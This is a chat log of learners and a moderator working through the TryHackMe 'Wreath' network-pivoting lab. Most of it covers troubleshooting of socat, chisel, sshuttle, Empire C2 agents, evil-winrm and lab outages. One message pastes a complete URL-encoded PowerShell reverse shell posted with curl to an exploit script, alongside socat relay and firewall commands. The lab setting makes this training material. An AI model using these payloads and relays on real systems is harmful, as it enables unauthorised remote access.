wreath-network

[glacial monolith]

|| ```./socat-Ferrari404
./socat-Ferrari404: line 1: !DOCTYPE: No such file or directory
./socat-Ferrari404: line 2: syntax error near unexpected token newline' ./socat-Ferrari404: line 2: "http://www.w3.org/TR/html4/strict.dtd">'

it exists, why am I receiving this error?

It's chmod +x too

[merry robin]

That would be because you downloaded the Github webpage

Not the actual tool

[digital tendon]

right click save as doesn't really work well with github

[glacial monolith]

could've sworn I downloaded the binary, I'll try again

[digital tendon]

well from repositories anyway

you can check by running it on your system when you download it, it should return some usage prompts

[glacial monolith]

I grabbed it from the tools folder actually

the one included in tools > cats >

[merry robin]

Wait

WHAT

[glacial monolith]

I might've accidentally done windows

[merry robin]

I downloaded the wrong thing?

Nope

[glacial monolith]

I think I did the /cats/windows one

since I thought I had to put it on .150

[merry robin]

Nope, that one is also a binary

[glacial monolith]

Weird, I definitely grabbed it from the tools folder. However, I tried using the linux one and it worked

maybe I messed it up when copying it

[merry robin]

Maybe

At least the Linux one works

[glacial monolith]

or did the wrong chmod

is the socat supposed to hang, does that mean its ready for me to run the ps

[merry robin]

Yep, it is

Unless you background it

[glacial monolith]

right, I didn't background it

[merry robin]

Then yes, that's normal

[glacial monolith]

So I set the port in the powershell to the one I'm listening on, and the IP to the .200?

or should it be my tun0

nvm i see

[lyric bane]

How are we supposed to enumerate the version of the vulnerable git app in the network? I reviewed the default pages source code and I can't find a version.

[merry robin]

What do you mean by version?

[lyric bane]

If you search for the apps name on searchsploit, you will find 3 exploits. One with a version. I also thought its good practice to enumerate a apps version number before firing a exploit at it.

[glacial monolith]

Anyone know what I'm doing wrong? nothing coming back in the listener.
|| On 10.200.72.200 using my ssh

firewall-cmd --zone=public --add-port 37683/tcp
success

On my vm

rlwrap nc -lvnp 38504
listening on [any] 38504 ...

On 10.200.72.200 using my ssh

./socat-Ferrari tcp-l:37683 tcp:10.50.73.55:38504 &

Launch from VM

curl -X POST -d "a=powershell.exe%20-c%20%22$client%20=%20New-Object%20System.Net.Sockets.TCPClient('10.200.72.200',%2037683);$stream%20=%20$client.GetStream();%5Bbyte%5B%5D%5D$bytes%20=%200..65535%7C%25%7B0%7D;while(($i%20=%20$stream.Read($bytes,%200,%20$bytes.Length))%20-ne%200)%7B;$data%20=%20(New-Object%20-TypeName%20System.Text.ASCIIEncoding).GetString($bytes,0,%20$i);$sendback%20=%20(iex%20$data%202%3E&1%20%7C%20Out-String%20);$sendback2%20=%20$sendback%20+%20'PS%20'%20+%20(pwd).Path%20+%20'%3E%20';$sendbyte%20=%20(%5Btext.encoding%5D::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()%7D;$client.Close()%22" http://10.200.72.150/web/exploit-Ferrari404.php
"" ||

[glacial monolith]

The section told me which exploit to use, but I also checked source for version and couldn't find it.

[merry robin]

Ah, that exploit. Sorry, I thought you meant the literal code being downloaded from the git server for box three

[lyric bane]

😆 nope, the one for .150

[merry robin]

So, yes, it's good practice to get the version number first. Sometimes it's not possible. I can't actually remember if it is or isn't for Gitstack

If it's not possible, then you make an educated guess

[lyric bane]

according to the login page its gitstack.

[merry robin]

For example, the exploit targets one release down from the most up-to-date version, making the probability of it being one of the vulnerable versions very high

[lyric bane]

Ok. just was double checking that I didn't miss a enumeration step that would have revealed a version number.

[merry robin]

That's also why reading the exploit is very important though. If it was dangerous then you'd be less likely to run it, but the worst that could happen there is that it doesn't work 🤷‍♂️

Nah -- you're good 😄

[glacial monolith]

think imma just use the static netcat, cant figure this out

[glacial monolith]

Oh man, that was difficult and confusing. But I got it:) the whole time, it was because I wasn't using burp. the powershell kept getting messed up with the site I was using to encode

gonna try it with socat now

[glacial monolith]

Note: do not end your password with ! or evilwinrm will bug out for some reason

┌──(root💀kali)-[/home/…/Desktop/CTF/TryHackMe/Wreath]
└─# evil-winrm -u USERNAME -p "PASSWORD!" -i || 10.200.72.150 || 1 ⨯
dquote>

switching my password to not ending with ! fixed it though

[blazing rock]

Even when using single-quotes around evil-winrm -u Ferrari404 -p 'Maserati123!' -i 10.200.72.150?

[glacial monolith]

not sure, I'll give it a try.

also, that was pretty close to my secure password xD

[storm raven]

A question can be streamed while hacking this network?

[merry robin]

@storm raven now that it's officially released, yes, you can stream it 🙂

[storm raven]

Thats good

[glacial monolith]

How long should it take a network to start up, I didn't hit extend. Currently at 11 mins

no rush, just curious

[merry robin]

Less time than that

Two or three as a maximum

[glacial monolith]

10.200.72 isn't pinging anything

[digital tendon]

that's not a valid ip

[merry robin]

I'm also pretty sure you're not in the 72 subnet?

[digital tendon]

hmm most of previous pasted commands from Ferrari have been .72

[merry robin]

You might be in the 72 subnet.

[glacial monolith]

I'll try restarting vm to see if its on my end

[merry robin]

If you are in the 72 subnet, I would suggest leaving the room and rejoining

Then downloading the new config

72 is my development network that you've been dumped into. There are more users in there than should be in there.

[glacial monolith]

ah ok, I'm assuming I'll have to create another user etc?

[merry robin]

Do you have the password hash for the Administrator?

[glacial monolith]

No, I'll grab that real quick then leave

[dense tundra]

Anyone who faced this error when using the wreath ovpn file:
Cipher negotiation is disabled since neither P2MP client nor server mode is enabled

[bright knoll]

@merry robin I have a small question regarding empire part. The kali repo version seems buggy after starting listener and when stagger connects back from agent. Its just says 500 internal server error on prod-serv. empire spits back wrong type of data coming back from prod-serv. The docker version of powershell-empire works

without issue

however , I had to make some modifications to hosting the docker . Presistance storage etc. to make it usable . And then i saw http_hop ,but that has some minor annoyance which I will fix later.

and the task 20 with the powershell reverse shell , for me it never worked . Not even when bypassed that task end tried to run the revshell within rdp

[lilac jasper]

how do you stop the machine after completing some task??

[rustic shore]

i get agent back but i can't seem to execute commands they all are queued up

also i had to make base64 encoding false for stagers cause i was not getting agents back

[crude drift]

Which task u r doing man?

[rustic shore]

29-30

[crude drift]

I'm on task 22 rn

[rustic shore]

🙂

i am try again to see if it works

[crude drift]

Best luck man

[bright knoll]

Ty i will try that

[rustic shore]

still agent does not produce output of command i think i will skip

[bright knoll]

Same

Or I might try another c2 server

🤔

[lusty glade]

hey could anyone help with task 33 please?

[lusty glade]

having difficulty figuring out where i should be running this chisel forward proxy from/correct syntax

[restive trout]

Hello sorry to bother you. I have a couple of question related to the empire section.

[merry robin]

@lusty glade what's up?

@restive trout ask away

[restive trout]

ok, to enter a shell command, it seems I have to prepend with the shell keyword but I also noticed I could enter a shell command without it. Is there a difference between the 2?

[merry robin]

I haven't tried it without the shell prefix. If it works, it works 🤷‍♂️
I would imagine not

[lusty glade]

try to get commands correct for the forward proxy to access port 80 on the final machine

from the windows box i've ran this command

[merry robin]

Just for the record as well, BC-Sec have a Discord server which Coin linked to above:
https://discord.com/invite/P8PZPyf

That's a really good bet if things are breaking in Empire. The devs are absolutely awesome

[lusty glade]

then on my machine ive ran this command

[merry robin]

@lusty glade that's because you've not added the .exe extension on the compromised machine

I would love to know why it's in the Administrator documents folder and called chisel rather than your username as well...

There are a lot of people in these networks, and those instructions are there to make it fair for everyone. Please follow them :)

[restive trout]

@Muiri, ok thanks. Also in task 28, it's writtent "Empire agents can't be proxied with a socat relay..." but I'm currently using socat to forward things, so I don't understand

[lusty glade]

oh shit yea ill move that

[merry robin]

@restive trout are you relaying the agent?

I will be impressed if you are, given it will be communicating with the wrong place

[restive trout]

@Muiri, I believe I'm relaying the agent. In the listener instead of providing the address of my host, I provided the one of the compromised host on which I'm running socat.

[merry robin]

And what's catching the agent?

[restive trout]

@Muiri, I'm not sure to understand the question. The listener is running on my attacking machine however I changed the value of the Host parameter to http://<compromised_host>:<socat_listenport>

[merry robin]

That might work for generating the stager, but I don't think it will actually catch anything, or be able to communicate back?

Actually, put it another way

Do you have a callback from it?

[restive trout]

@Muiri, yes, I'm interacting with it

[merry robin]

Huh. Who knew. Heck only knows how that's working, but if it works it works 🤷‍♂️

Well done 😄

[restive trout]

ok, thanks 🙂

[merry robin]

Oh, I'm curious

Try killing your sshuttle

Does it still work?

[lusty glade]

do i still need to be running a socat relay from the prod-serv?

im getting this error now im the window machines

[restive trout]

@muiri, I'm not using sshuttle

[merry robin]

@lusty glade did you upload the linux version?

[lusty glade]

I HATE MY LIFE

[merry robin]

@restive trout ah, fair enough 👍

I'll take that as a yes @lusty glade

[lusty glade]

yasss

-.-

so i should just need the sshuttle running and the chisel client/server?

or do i need the socat relay on prod-serv ?

[merry robin]

@restive trout I think the answer is probably something along the lines of "that's really not how it's meant to work, and I suspect it might cause problems down the line if there were more machines in the network or you needed to do any kind of lateral movement, but if it works here then hey, it works, right? 😁

So, maybe not recommended but you're quite correct -- it is apparently possible to catch an agent through a socat relay

[merry robin]

That should do it, yep. The relay isn't necessary once you have a forward connection to the target

[restive trout]

@merry robin, yeah probably. I'm not experienced enough with empire. I tried to use it a couple of years ago but I gave up 🙂

[merry robin]

It's a really nice tool, with some big improvements inbound as well 👀

[lusty glade]

thank you they finally seem to be connected 😅

[merry robin]

Yay!

[high totem]

Me again..... task 20, I altered the 43777 exploit on nano as directed.. put the python2 shebang, added my username to exploit.php in both instances, inserted the target IP (I used sshuttle before so, it’s the IP, by what the task says)
But when I try to run the exploit
./43777.py

I get the following
Traceback (most recent call last):
File “./43777.py”, line 18, in <module>
import requests
ImportError: No module named requests

I went to check it on nano again, line 18, it says import requests

What am I doing wrong this time. I feel so stupid to be stuck like that 😞

Thank you so much in advance for any guidance

[restive trout]

@high totem you should the pip installer pip install requests

[high totem]

Just did but....

Requirement already satisfied:requests in /usr/bin/python3 etc etc etc

[strange bison]

So it's installed for python3 but not python2

[high totem]

May I know how to install this for python2, please?

[restive trout]

I tried to http_hop listeners but I'm unable to interact with the agent. I configured 2 listeners:

• GitServer on port 65000
• GitServerHop with GitServer as the redirect listener
  I copied the generated files on the compromised GitServer, I added a new firewall rule and I started the php server php -S 0.0.0.0:65000 >&/dev/null
  For the stager, I used GitServerHop as the listener and copied the output in a cmd shell.
  I get a call back from the agent but I'm unable to execute commands

@high totem, use the package manager of your distribution

[lusty glade]

chisel better watch itself!!!!

[restive trout]

@lusty glade lol

[high totem]

It keeps saying requirement already satisfied

Tried to run the exploit again, got the same error as above.

[merry robin]

Try python2 -m pip install requests

If that doesn't work, you can try the get-pip.py script (should still be online) then run the command I just gave you

Failing that, just put every print statement in brackets (e.g. print("test") rather than print "test") and change the shebang to python3

[oblique oar]

try the same command with python2.7

[restive trout]

@merry robin Sorry to bother you again, do you have an idea of what I'm doing wrong?

[merry robin]

@oblique oar python2 is just a symlink to 2.7 anyway. Makes no difference

[oblique oar]

yeah i thought so but for some reason that worked for me

[merry robin]

@high totem try the get-pip.py script?

[high totem]

I will google that, thank you so much 😊

[merry robin]

https://github.com/pypa/get-pip

[merry robin]

What's up?

[restive trout]

@Muiri I'm trying the http_hop thing. The agent connects back but I'm unable to interact with it

I described a little bit earlier the steps I took

[merry robin]

Ah, that's an issue with Empire currently. Try updating Empire and if it still doesn't work, just leave it for now

[restive trout]

hmm ok, I downloaded the latest version from BLSecurity's github repo

[merry robin]

Ok, just leave it for now then. The fix will be merged soon, I'm sure 🙂

[restive trout]

ok, thanks 🙂

[restive trout]

last check is 3.7.2 the latest version available?

[surreal sail]

@high totem do this...and run the file with python3

[high totem]

Yes, I will do that. Thank you so much.

[merry robin]

@high totem rather than cloning it, read the instructions in the readme

[surreal sail]

Replace #!/usr/bin/python2 with #!/usr/bin/python3 in your code 1st line

[merry robin]

Can't believe I'm saying this, but it's worth having a working install of Python2 -- most python exploits are written in it, and converting them all is a pain

This one is an easy one to convert, all things considered.

[high totem]

I’m sorry.

[merry robin]

Nothing to be sorry for! 😄

It's all a learning experience 🙂

[restive trout]

@Muiri, last question please. In empire, a module is something that gets loaded by the agent on the remote host or is it something else?

[merry robin]

Essentially, yes

It's code that's being loaded into memory through the agent and getting executed that way.

[restive trout]

ok, thanks a lot. I thought for a while that a module was something that was getting loaded in the empire C2, lol. I'm so stupid 🙂

[high totem]

Then I go to line 45....

[cyan vine]

Are you running that in python2 or python3?

[merry robin]

@high totem try specifying python2 get-pip.py?

[merry robin]

Or convert it.
Ah, so, the format needs to go immediately after the quotation mark -- inside the print brackets

[high totem]

I just tried putting parentheses on every print to make it python3

[cyan vine]

There's your problem

The script is most likely meant to be run in Python 2

Some things aren't available in python3 and vice versa

[high totem]

But it won’t run in python2 here

[merry robin]

Gimme a sec -- I'll upload a converted copy 🙂

[high totem]

print (“[+] Found user {}”.format username)
?

[merry robin]

Looks good!

[cyan vine]

Put parenthesis around username

[high totem]

I feel so stupid
I need to learn python right now

[cyan vine]

.format(username)

[merry robin]

Oh, yeah, other than parentheses around username

Thanks Jabba

[high totem]

Oh boy
So ...

[merry robin]

It comes with time 🙂
Definitely worth learning though

[cyan vine]

Muiri, if you want to take a break I can convert the script for you.

[merry robin]

Converted copy of the Gitstack script:

[merry robin]

Oh, I already have one 😄

[cyan vine]

smhh

Hard worker

[high totem]

For us stupid n00bs who don’t know python
I thank you so much

[merry robin]

Yeah yeah, I should get back to my day off 😆

[cyan vine]

You should!

[merry robin]

Np 🙂
I'd suggest having a read through that to see where the differences are as well

[high totem]

I’m so sorry to bother you on your day off.

[high totem]

Great idea!

[merry robin]

Np 😄
Let's be honest -- I'm a huge workaholic anyway

[cyan vine]

You are Muiri

If I could mute you, I would do it

[merry robin]

-mute @merry robin 24h Get some rest

[winter lintel]

Unable to run the command: Can't use moderation commands on users ranked the same or higher than you

[merry robin]

¯_(ツ)_/¯

Oh, wait, I can add it manually

[cyan vine]

Wow, you're even working to stop yourself stop working

smhhh

[lapis yacht]

Hello i am not able to access to Wreath web host

[hasty turtle]

For some reason, I am getting (since like half an hour ago) "No route to host" errors on ssh, nc & curl to the public server, but can access it over the browser. I am super confused. Any ideas how I can debug it?

[calm wedge]

Connected to the VPN?

[lapis yacht]

Yes

[calm wedge]

The wreath one?

[hasty turtle]

did the DNS thing?

[lapis yacht]

Unable to ping 10.200.81.200

Traceroute stops at 10.50.82.1

So i am not able to hoy out if my network

Any similar indicent with you?

[hasty turtle]

Hey I am having exactly rthe same problem

I can indeed not access it in my browser anymore either, it was cached content -.-

[lapis yacht]

Now i am happy

https://tenor.com/view/willem-dafoe-laugh-crazy-car-close-up-gif-12180194

So maybe there is a problem?

[hasty turtle]

Well, I guess its time to go hack somewhere else ...

[lapis yacht]

Routing problem?

[hasty turtle]

THM problem, since 1 hour ago it was working fine

[lapis yacht]

Yes

[potent urchin]

but nothing works for me alone ??

[lapis yacht]

I was starting with it

[cyan vine]

Top, please be patient. Your problem will not be fixed within 10 minutes.

[lapis yacht]

I refreshing yo acces web site and boommmm

Jabba do you know something about this problems?

[merry robin]

Has the network gone to sleep by any mischance @lapis yacht..?

[hasty turtle]

In my case its says its running

[lapis yacht]

here the same situation

I vote to reset but only my vote

[merry robin]

Are you both on the same network?

[hasty turtle]

No, I am in 83 and he is in 81

[lapis yacht]

10.50.82

[hasty turtle]

oh ok

sorry

[merry robin]

And it was working before?

[lapis yacht]

82&83

[hasty turtle]

83 was working yes

[merry robin]

Naw, it's 81 and 83

[hasty turtle]

all day, and ysterday night

[merry robin]

The VPN packs are one subnet up from the network they access

[lapis yacht]

no me on 82

[merry robin]

@fair breach could you check those networks for me please?

[merry robin]

Not if your VPN pack says 82 you aren't

[merry robin]

You're also pinging 81

[hasty turtle]

Thanks for the fast reaction Muiri. I am enjoying the room a lot so far, amazing work.

[lapis yacht]

sorry you mean the server

this is the ip of the web server

but i am on 10.52.82

only for info

[merry robin]

Yeah, it's the target subnet that matters 🙂

I don't know why there's that offset

[lapis yacht]

ok sorry

[merry robin]

Np!

[lapis yacht]

in my case I am not able to get out of my subet

the firts spot does not seem to be alive or nor responding

Sorry 10.50.82.1 is up

something has changed i think

[merry robin]

.1 is to do with AWS

[lusty glade]

finally finished! really enjoyed it

[fair breach]

Lemme login to AWS real quick

[lusty glade]

thanks to everyone involved

[fair breach]

10.200.82.* & 10.200.83.* aye?

[lapis yacht]

10.200.81.

[fair breach]

.82 is up .83 isn't

[potent urchin]

200 is down?

[fair breach]

neither is .81

[merry robin]

Ok, so 81 and 83 are down -- that explains something

What one are you on @potent urchin?

[merry robin]

Would I be right in thinking you can't restart them or force a reset?

[potent urchin]

i just started and i can't process the first server

not work

[merry robin]

Are you connected to the VPN?

[fair breach]

Not for wreath unfortunately 😦

[merry robin]

Can Skidy?

[fair breach]

yesss

[potent urchin]

yep, i'm connected

[fair breach]

afaik

[merry robin]

Whats your IP?

@limber rover could you possible reset/restart the 81 and 83 subnets?

Whatever brings 'em back online

[fair breach]

I can launch & terminate not reboot or shutdown kek

even then idk how''d that play up with the front end so I don't wanna tocuh it

[ember solstice]

I should be able the ping the first box, right ?

PING 10.200.83.200 (10.200.83.200) 56(84) bytes of data.
From 10.50.84.1 icmp_seq=1 Destination Host Unreachable```

[merry robin]

You should

But that's one of the subnets I just asked Skidy to restart because it's down

[hasty turtle]

Yep, I know that feeling

[ember solstice]

so that explains the dest host unreachable error ?

[merry robin]

Yep

[ember solstice]

ah ok thanks

[merry robin]

Not sure why it's down, but Skidy will bring it back up 🙂

[lapis yacht]

👍

[ember solstice]

Please someone in the same network ping me when it gets back up, thanks

[lapis yacht]

Thanks

[limber rover]

Users should now be able to "start" the network which will bring all the machines back up

[ember solstice]

yup, its up thanks

[merry robin]

Could they not already?

[hasty turtle]

They were "already" up

[merry robin]

Oh, he might have just shut it down properly, I see now

[potent urchin]

no not work

the start button does not work

[lapis yacht]

I have ping but...

able to scan ports and get results

but...

[lyric bane]

The wreath network is up. I have a shell.

[strange bison]

There are several networks

[marsh tinsel]

Hello,
I have a problem connecting to the lab wreath.
I can't ping the machine anymore, it happened suddenly.
I have tried several things:

• regeneration of a VPN package -> NOK
• reboot the machine -> NOK
• check processes to see if there were two VPN instances running -> NOK
  The state of the lab is correct though.

[lapis yacht]

post here the destination final IP os the web server

We have some issues with this and they are working on it

[potent urchin]

all ip

[marsh tinsel]

This is the IP 10.200.92.200

Ok thanks

[lapis yacht]

I reach the server but after putting in my host file the ip and name not able to reach the web but "working" with 10.200.81.200 in the browser...

[marsh tinsel]

On my side, it doesn't work even with DNS resolution.

[lapis yacht]

but in my case that they have fixed it, it is very strange behavoir

ummmm

[marsh tinsel]

Yes, it's clear.
I was able to work on the first 16 tasks without any problems and now nothing.

[lapis yacht]

same for 3/4 more users here in chat

[marsh tinsel]

Okay, I'll wait in that case 🙂

[gray mortar]

after gaining access to the first target using any command in the pseudoshell gives me a lot of exceptions like these below :

# id
Unhandled exception in event loop:
  File "/usr/lib/python3.9/asyncio/events.py", line 80, in _run
    self._context.run(self._callback, *self._args)
  File "/usr/lib/python3/dist-packages/prompt_toolkit/input/vt100.py", line 168, in callback_wrapper
    callback()
. . .

Exception [Errno 13] Permission denied: 'commands.txt'
Press ENTER to continue...uid=REDACTED 
context=system_u:system_r:initrc_t:s0
WARNING: your terminal doesn't support cursor position requests (CPR).

is this a problem on my side or on yours?

[lapis yacht]

maybe the version of python?

[merry robin]

Looks like you downloaded the exploit to a folder you don't have write access to

What OS are you using as well?

[gray mortar]

I have downloaded the latest Kali image just for the Wreath. Then I tried to apply some knowledge from Hardening Basics room and forgot I'm not running on my working Kali version. 😁 You are absolutely right about the write permissions.

[lapis yacht]

For me it is solved also I have a # in the hosts files....XD

thanks

[storm raven]

I cant access to the network

[abstract grove]

Are you a subscriber or currently have a 7 day streak?

[distant folio]

I am having the same issue, i have a 7 day streak, also if I go in the access tab it says i am connected to the wreath network, and Network State is running, but i can not ping the machine, ip is 10.200.92.200

[lilac ibex]

did the network die?

can't access it anymore

[calm wedge]

@merry robin Looks like it might be down again?

[merry robin]

Which one?

[lilac ibex]

no idea

[merry robin]

Which subnet are you on?

[lilac ibex]

10.200.93.0/24

[merry robin]

93

Again

@fair breach is that one down?

[lilac ibex]

tried remaking my ovpn key and got the same IP back

[merry robin]

Yeah, there have been one or two issues with 91,92 and 93 today for some reason

[lilac ibex]

@merry robin saw you added the "please clean up after your done question"

[merry robin]

Yeah -- figured it might be necessary

[civic barn]

Not a question related to the network, but when we have a windows machine x64 is it recommended to install nmap normally, or still using the static version?

[ember solstice]

Using ||sshuttle|| cant seem to use the ||id_rsa|| to authenticate with the key my syntax is ||--ssh-cmd "ssh -i root_id_rsa"|| but i get ||Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
c : fatal: c : failed to establish ssh session (2)||

[lilac ibex]

ssh key is broken for some reason

the key it's self or the auth_key file

that has the public key in it

[merry robin]

On your host?

Either way, static nmap for Windows doesn't really exist

[merry robin]

The network is back up then?

[civic barn]

No, i mean on the target machine

[merry robin]

@ember solstice Which subnet?

[ember solstice]

83

[lilac ibex]

@merry robin still looks down

[merry robin]

Could you disconnect and send me your VPN pack in a DM please?

[merry robin]

How's the key broken then?

[ember solstice]

the id_rsa works with ssh

[merry robin]

Oh, it works with ssh but not sshuttle?

[ember solstice]

yes

[lilac ibex]

@merry robin @ember solstice was asking about the key was replying to him

or her idk

also the network is still down

D:

[merry robin]

Oh, I see

Now that is very odd

( @limber rover 93 seems to be down again)

[merry robin]

Ok, could you disconnect and DM me the pack?

[ember solstice]

sure

[lilac ibex]

@merry robin may I ask how long a network reboot takes?

need two more resets

[merry robin]

Not long. 5 minutes at the absolute maximum

[mellow kiln]

Anyone know why I'm getting this? ```* Starting Empire SocketIO on port: 5000
<frozen importlib._bootstrap>:228: RuntimeWarning: greenlet.greenlet size changed, may indicate binary incompatibility. Expected 144 from C header, got 152 from PyObject
<frozen importlib._bootstrap>:228: RuntimeWarning: greenlet.greenlet size changed, may indicate binary incompatibility. Expected 144 from C header, got 152 from PyObject

• Starting Empire RESTful API on port: 1337

[1] + segmentation fault ./empire --headless```

Occurs when I try to run starkiller, no options for listeners in gui. Empire CLI works fine

That's log from my ./empire --headless &

[merry robin]

I'm gonna suggest asking over in the BC-Sec discord for that one 🙂

[mellow kiln]

says failed to connect to socket io

[merry robin]

https://discord.com/invite/P8PZPyf

[mellow kiln]

I realized I had to make a listener for the redirect to connect to.

[crystal wraith]

okay so im doing the wreath room now i try to cat the id_rsa but its blank for some reason am i missing something

[strange bison]

@merry robin Someone broke your network again

[wet tapir]

same for me, issue still exists (ssh -i ....)

[strange bison]

Someone's probably broken the box

Make sure the public key is in authorized_keys

[wet tapir]

it's not empty

[strange bison]

You are likely to be on different networks

It can be blank, if someone broke it.

[merry robin]

Disconnect and send me the config file please 🙂

[ember solstice]

@wet tapir if you can ssh into the box using the id_rsa, and you’re using the right syntax and still having problems, Muiri should help you

[wet tapir]

$ ||ssh -i ./id_rsa root@10.200.99.200||
root@10.200.99.200: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

-> id_rsa and id_rsa pub on the server has a timestamp of today (did somebody mess with those), and the id_rsa.pub ends with root@kali, differs from authorized_keys

[merry robin]

Yes, someone has been messing with it

Please disconnect from the network and DM me your config file @wet tapir. I can fix manually

And if I find out who's doing that, I will ban them -- either from the room or the site, depending on my mood

(Just in case anyone's watching who thinks the trolling is anything other than selfish and pathetic 🤷‍♂️)

[stone ivy]

Is 10.200.108.200 down?

I can't ping it and all of the nmap scans I've tried aren't returning anything

[merry robin]

Is the network started?

[stone ivy]

Yes it is running

[brave anchor]

Are you on the right connection pack?

[stone ivy]

Yup, double checked that already

It is giving me an IP in the 10.50.109.0/24 subnet though

is that right?

[merry robin]

Yep, that's correct

Question is, is anyone awake to see if it's active

What ip exactly do you have @stone ivy?

[stone ivy]

10.50.109.9

[merry robin]

So not a new subnet. Hm.

If it shows as running but isn't, try going for a reset -- others will do the same if something is up with it

I suspect the admins are asleep (and I've already pinged 'em a good 20 times today troubleshooting), so there's no easy way to check from the back end just now

[stone ivy]

Sounds good. I appreciate your help. I voted for a reset and we'll see if we happens

*what

[merry robin]

Hopefully that'll fix it. Lemme know if it hasn't got the votes to reset and I'll check in the morning. Need some sleep just now 😆

[lyric bane]

I finally understand sshuttle! I've been manually running ssh port forwards the whole day into the network and over complicating my pivots like an idiot 😂. Now to go over my lab report notes and grab new screenshots with the new configurations and edit.
I feel like sshuttle should be moved to the first pivot task in the room to stress it's simplicity and importance.

[burnt pike]

This is the description of this room

Learn how to pivot through a network by compromising a public facing web machine and tunnelling your traffic to access other machines in Wreath's network. (Streak limitation only for non-subscribed users)

What does the streak limitation part mean?

Can I only access it for certain days?

[lyric bane]

I think it means if your a non subscriber you need to have a 7 day answer streak to join and access to the network.

[strange bison]

Not to maintain

Just to join.

[burnt pike]

Ah great!

[surreal sail]

yes ;_;

[mortal nexus]

hey, with the final pivot, im struggling a bit. so my situation is I have my home machine (windows, burp suite) connected to the attack box via ssh -D 8228. the attack box is connected to .200 via sshuttle. back on my host, with burp using a 8228 as a socks proxy, i can browse gitstack through the attack box, easy

i have evil-winrm onto .150, and can setup win-chisel there, and even setup a proxy between the attack box and .150, say on port 1088

but... i guess my brain fail is, how would i use the burp proxy browser from my host, through the socks proxy to the attack box, through the chisel proxy to .150, in order to hit .100?

feel free to say 'hey, go read this doc on chaining proxies BRO' if thats what i should be doing

[bright knoll]

So bit update . I built the empire from source and it’s working now without an issue . However when trying to run the agent payload on gitserv it’s keeps breaking after connection established

And before that I had similar issues with the power shell revshell

Which step than I bypassed for that reason

[lavish nest]

Hello everybody.
I have a problem running socat on the target,
[root@prod-serv tmp]# ./socat-zarandija: error while loading shared libraries: libwrap.so.0: cannot open shared object file: No such file or directory
Can someone give me a hand?

[ember solstice]

I don't think you're using a static socat binary

[lavish nest]

I'm going to check out that possibility man, thnks.

[ember solstice]

They provided a link to download static binaries, download socat from there and transfer that to the box

https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

[lavish nest]

That was the problem, thank you very much for the help.👍

[ember solstice]

I can't seem to get a respond back from my agent on GIT server 🧐

[charred fern]

Hi, I can't access the prod-serv........

Network is running but I can't seem to reach the prod-serv...

[merry robin]

@charred fern leave and rejoin the network (then redownload the VPN pack). You're currently in the dev subnet

[stoic flicker]

Muiri, Wreath is being mean and making me develop a port scanner 😦 Now I'm looking up RFCs to figure out what to shove in the socket connection because I don't like half-arsing these things

[merry robin]

Why are you developing a port scanner..?

[stoic flicker]

to figure out where the other machines are

yes bash

[charred fern]

alright. thanks

[stoic flicker]

the port scanner bit I already have, but it's the ping sweep bit I need

[merry robin]

Why not use nmap/Invoke-Portscan.ps1?

[stoic flicker]

no nmap on the web server

[merry robin]

Or the oneliners there? 😆

Stick a static copy up

[stoic flicker]

because I'm a dev and it's a fun challenge

and it can be useful for other things

[merry robin]

Don't blame me then
You're being mean to yourself 🤣

[stoic flicker]

😛

[blazing rock]

You just described the essence of hacking: being mean to yourself 😄

[merry robin]

True

[high dirge]

hey,

Iam trying to upload a nc to the linux first machine

but seem like it not working

I got the binary from the attackbox once and from github

any advice ?

[merry robin]

Not working in what sense?

[high dirge]

Looks like something wrong with the binary

[merry robin]

That ain't a binary

You've downloaded the github webpage by accident 🙂

Make sure you get the link to the raw file, rather than the page itself

[high dirge]

my mistake this is the error

[merry robin]

So, that would indicate that you're using a dynamic binary -- not a static one

[high dirge]

ahhh, so I have to look for static one

[merry robin]

Mhm -- try the one in the tools zipfile if github isn't doing it for you 🙂

[high dirge]

Thank you so much, btw great network so far

[merry robin]

Just added a more expanded note on static binaries into the Enumeration task 🙂

[high dirge]

great, something new to learn thank you again

[merry robin]

Np, enjoy!

[ember solstice]

Hey, people on .83 are you guys able to load|| /resorces|| on .100 ?

mine just keeps hanging

After entering the creds that is

yep, i think someones messing with it since now it doesn't even accept the creds (401)

@merry robin could you take a look at this please ?

[merry robin]

Yeah -- you still on the same VPN pack @ember solstice?

[ember solstice]

Yes, should i disconnect ?

[merry robin]

Please 🙂

[high dirge]

sorry for my questions,
what could the problem be if I can connect via
xfreerdp /v:ip /u:user /p:pass

but when try to get share it didnt work
xfreerdp /v:ip/u:user /p:pass +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,rumbleshare

[merry robin]

What's the error?

[high dirge]

[14:22:45:581] [28563:28563] [ERROR][com.winpr.commandline] - Failed at index 6 [/drive:/usr/share/windows-resources,rumbleshare]: PostFilter rule could not be applied

FreeRDP - A Free Remote Desktop Protocol Implementation
See www.freerdp.com for more information

[merry robin]

Try it the other way around @high dirge

/drive:rumbleshare,/usr/share/windows-resources

[high dirge]

still the same

[merry robin]

Try it with the current directory as a test?

as in /drive:.,share

The other thing that can sometimes cause problems with it apparently are permissions, so try doing it as root as well

[high dirge]

this work as charm

[merry robin]

There we go then 🙂

[high dirge]

this smiley face, scare me LOL

[merry robin]

Heh, it's better than my usual 😁

😁 is a great emoji. It can be anything from really happy, to incredibly threatening, depending on the context

[high dirge]

so the mistake I did was that I don't have the shred /usr/windows... in my machine yes ?

[restive trout]

Hello all

[high totem]

I’m getting the very same thing, and I downloaded the nc from the task

[merry robin]

Which link?

Might have accidentally stuck a non-raw one in

[restive trout]

If you don't mind I have a couple of questions, the room author refers to the fact that AV uses sandboxes for malware detection. My question is how close are those sandboxes to the Virtual Machines that we use (for instance virtualbox). Does the AV have an hypervisor with hardware virtualization and a full operating system installed on it or is it something else?

[high totem]

I clicked on netcat, downloaded it, renamed it adding my username, and I’m getting the same error as the person above

[merry robin]

That link should be giving the binary itself

Odd

[high totem]

I even did the same thing he did.... goggled netcat static binary, went to github, downloaded it from there, tried again, very same error

[merry robin]

can you screenshot the error?

[merry robin]

Well, that's definitely a webpage. Interesting

[high totem]

That’s the second, from github....

[merry robin]

Try the one in the tools zipfile?

[high totem]

This one is the first, from the task

The errors are the same

I don’t have the netcat in the tools. Nmap only

[merry robin]

Netcat is in the tools zipfile in the cats directory

[high totem]

In the tools we downloaded when we started the network

I’ll try this one then.... sorry, found it

[merry robin]

Np 🙂
Give it a shot

[high totem]

Not working 😢

